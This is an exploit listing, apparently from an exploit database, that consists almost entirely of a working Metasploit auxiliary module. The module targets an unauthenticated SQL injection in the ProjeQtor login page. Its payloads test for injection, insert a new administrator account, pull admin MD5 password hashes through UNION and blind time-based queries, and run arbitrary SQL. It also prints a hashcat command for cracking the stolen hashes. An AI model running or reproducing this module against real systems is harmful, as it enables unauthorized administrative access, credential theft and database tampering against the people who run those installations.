Share
## https://sploitus.com/exploit?id=PACKETSTORM:222885
==================================================================================================================================
| # Title : ProjeQtor 12.4.3 Unauthenticated SQL Injection Auxiliary Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.projeqtor.com/en/ |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module targets an unauthenticated SQL injection vulnerability in ProjeQtor login functionality and is structured as a scanner-style module with multiple operational modes.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ProjeQtor Unauthenticated SQL Injection (CVE-2026-41462)',
'Description' => %q{
This module exploits an unauthenticated stacked SQL injection vulnerability
in ProjeQtor versions 7.0 through 12.4.3. The vulnerability exists in the
login functionality where the 'login' parameter is directly concatenated
into SQL queries without sanitization.
Successful exploitation allows attackers to:
1. Create new administrator accounts
2. Extract existing admin credentials (MD5 hashes)
3. Perform arbitrary SQL queries (stacked queries)
Tested on ProjeQtor 12.4.3 and earlier versions.
},
'Author' => ['indoushka'],
'References' => [
['CVE', '2026-41462'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2026-41462'],
['URL', 'https://github.com/0xBlackash/CVE-2026-41462']
],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
},
'DefaultOptions' => {
'SSL' => false,
'RPORT' => 80,
'WfsDelay' => 5
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path to ProjeQtor installation', '/']),
OptEnum.new('ACTION', [true, 'Action to perform', 'CREATE_ADMIN', ['CREATE_ADMIN', 'EXTRACT_CREDS', 'CUSTOM_QUERY']]),
OptString.new('USERNAME', [false, 'Username for new admin (for CREATE_ADMIN action)', 'pwned']),
OptString.new('PASSWORD', [false, 'Password for new admin (for CREATE_ADMIN action)', 'Pwned123!']),
OptString.new('SQL_QUERY', [false, 'Custom SQL query to execute (for CUSTOM_QUERY action)', 'SELECT version()']),
OptInt.new('TIMEOUT', [true, 'HTTP request timeout', 10])
])
register_advanced_options([
OptBool.new('VERBOSE_SQL', [false, 'Show SQL error messages in output', false])
])
end
def run_host(ip)
unless check == Exploit::CheckCode::Vulnerable
print_error("#{peer} - Target does not appear to be vulnerable")
return
end
case datastore['ACTION']
when 'CREATE_ADMIN'
create_admin
when 'EXTRACT_CREDS'
extract_credentials
when 'CUSTOM_QUERY'
execute_custom_query
end
end
def check
print_status("#{peer} - Checking if target is vulnerable...")
time_payload = "admin' OR IF(1=1, SLEEP(5), 0) -- "
normal_payload = "admin' OR 1=1 -- "
begin
start_time = Time.now
res_time = send_sqli_request(time_payload)
elapsed_time = Time.now - start_time
res_normal = send_sqli_request(normal_payload)
if elapsed_time >= 5 && res_time && res_normal
print_good("#{peer} - Time-based blind SQL injection detected!")
return Exploit::CheckCode::Vulnerable
elsif sqli_error_detected?(res_time) || sqli_error_detected?(res_normal)
print_good("#{peer} - Error-based SQL injection detected!")
return Exploit::CheckCode::Vulnerable
else
print_error("#{peer} - No SQL injection indicators found")
return Exploit::CheckCode::Safe
end
rescue ::Rex::ConnectionError, ::Timeout::Error => e
print_error("#{peer} - Connection error: #{e.message}")
return Exploit::CheckCode::Unknown
end
end
def send_sqli_request(payload, timeout = datastore['TIMEOUT'])
login_path = normalize_uri(target_uri.path, 'login.php')
alt_paths = [
normalize_uri(target_uri.path, 'projeqtor', 'login.php'),
normalize_uri(target_uri.path, 'index.php', 'login')
]
[login_path, *alt_paths].each do |path|
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => path,
'vars_post' => {
'login' => payload,
'password' => Rex::Text.rand_text_alpha(8),
'submit' => '1'
},
'headers' => {
'User-Agent' => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
}
}, timeout)
return res if res
rescue ::Rex::ConnectionError, ::Errno::ECONNRESET
next
end
end
nil
end
def sqli_error_detected?(response)
return false unless response && response.body
error_patterns = [
/SQL syntax.*MySQL/i,
/You have an error in your SQL syntax/i,
/mysql_fetch_/i,
/Warning.*mysql/i,
/Unclosed quotation mark/i,
/Microsoft OLE DB/i,
/ODBC Driver.*error/i,
/PostgreSQL.*ERROR/i
]
error_patterns.any? { |pattern| response.body =~ pattern }
end
def create_admin
username = datastore['USERNAME']
password = datastore['PASSWORD']
print_status("#{peer} - Attempting to create admin user: #{username}")
payload = "admin' ; INSERT INTO resource (name, login, password, profile) VALUES ('#{username}', '#{username}', MD5('#{password}'), 1) -- "
res = send_sqli_request(payload)
if res
print_good("#{peer} - Request sent successfully!")
print_good("#{peer} - If vulnerable, admin user created!")
print_line
print_line("Credentials:")
print_line(" Username: #{username}")
print_line(" Password: #{password}")
print_line(" Login URL: #{full_uri(normalize_uri(target_uri.path, 'login.php'))}")
print_line
store_cred(
user: username,
password: password,
service_name: 'ProjeQtor',
proof: "SQL Injection created admin account",
origin_type: :service,
private_type: :password
)
print_status("Credentials stored in Metasploit database")
else
print_error("#{peer} - Failed to send request (no response)")
end
end
def extract_credentials
print_status("#{peer} - Attempting to extract admin credentials...")
columns_count = detect_columns
unless columns_count
print_error("#{peer} - Could not determine column count, using brute force method")
return brute_force_extract
end
union_payload = "admin' UNION SELECT "
union_payload << (1..columns_count).map { |i|
if i == columns_count - 1
"login"
elsif i == columns_count
"password"
else
i.to_s
end
}.join(',')
union_payload << " FROM resource WHERE profile=1 AND login IS NOT NULL LIMIT 1 -- "
res = send_sqli_request(union_payload)
if res && res.body
patterns = [
/([a-zA-Z0-9_@.-]+).*?([a-f0-9]{32})/m,
/login["']?\s*[:=]\s*["']([^"']+)["'].*?password["']?\s*[:=]\s*["']([a-f0-9]{32})/i,
/>([a-zA-Z0-9_@.-]+)<.*?>([a-f0-9]{32})</m
]
patterns.each do |pattern|
matches = res.body.scan(pattern)
if matches && !matches.empty?
matches.each do |login, hash|
if hash =~ /^[a-f0-9]{32}$/ && login.length > 0
print_good("#{peer} - Admin credentials extracted!")
print_line
print_line(" Login: #{login}")
print_line(" MD5 Hash: #{hash}")
print_line(" Crack command: hashcat -m 0 #{hash} /path/to/wordlist")
print_line
store_loot(
'projeqtor.admin.hash',
'text/plain',
rhost,
"Admin login: #{login}\nMD5 Hash: #{hash}",
'projeqtor_admin_hash.txt',
"ProjeQtor admin password hash"
)
return
end
end
end
end
print_error("#{peer} - Could not extract credentials from response")
print_error("Enable VERBOSE_SQL to see full response") if datastore['VERBOSE_SQL']
print_warning("Response snippet: #{res.body[0..500]}") if datastore['VERBOSE_SQL']
else
print_error("#{peer} - No response received")
end
end
def brute_force_extract
print_status("#{peer} - Using time-based extraction...")
extracted_login = ""
charset = ('a'..'z').to_a + ('A'..'Z').to_a + ('0'..'9').to_a + ['_', '@', '.', '-']
print_status("Extracting admin login (this may take a while)...")
1.upto(50) do |pos|
found = false
charset.each do |char|
payload = "admin' OR (SELECT SUBSTRING(login,#{pos},1) FROM resource WHERE profile=1 LIMIT 1) = '#{char}' AND SLEEP(3) -- "
start_time = Time.now
res = send_sqli_request(payload)
elapsed = Time.now - start_time
if elapsed >= 3
extracted_login << char
print_status(" Login so far: #{extracted_login}")
found = true
break
end
end
break unless found
end
if extracted_login.length > 0
print_good("#{peer} - Extracted login: #{extracted_login}")
extracted_hash = ""
print_status("Extracting password hash...")
1.upto(32) do |pos|
found = false
('0'..'9').to_a.each do |char|
payload = "admin' OR (SELECT SUBSTRING(password,#{pos},1) FROM resource WHERE login='#{extracted_login}') = '#{char}' AND SLEEP(2) -- "
start_time = Time.now
res = send_sqli_request(payload)
elapsed = Time.now - start_time
if elapsed >= 2
extracted_hash << char
print_status(" Hash so far: #{extracted_hash}")
found = true
break
end
end
break unless found
end
if extracted_hash.length == 32
print_good("Complete credentials:")
print_line(" Login: #{extracted_login}")
print_line(" MD5 Hash: #{extracted_hash}")
end
end
end
def detect_columns
(5..30).each do |count|
payload = "admin' UNION SELECT #{Array.new(count, 'NULL').join(',')} FROM resource -- "
res = send_sqli_request(payload)
if res && !sqli_error_detected?(res)
print_good("#{peer} - Detected #{count} columns")
return count
end
end
nil
end
def execute_custom_query
sql_query = datastore['SQL_QUERY']
print_status("#{peer} - Executing custom SQL: #{sql_query}")
payload = "admin' ; #{sql_query} -- "
res = send_sqli_request(payload)
if res
print_status("#{peer} - Query executed (check server logs for output)")
if sqli_error_detected?(res)
print_error("#{peer} - SQL error detected, query may have failed")
if datastore['VERBOSE_SQL']
print_line("Error snippet:")
print_line(res.body.scan(/SQL.*error|Warning.*/i).first.to_s)
end
else
print_good("#{peer} - Query executed successfully (no errors)")
end
else
print_error("#{peer} - Failed to execute query")
end
end
def full_uri(uri)
ssl = datastore['SSL']
proto = ssl ? 'https' : 'http'
port = datastore['RPORT']
port_str = (port == 80 && !ssl) || (port == 443 && ssl) ? '' : ":#{port}"
"#{proto}://#{rhost}#{port_str}#{uri}"
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================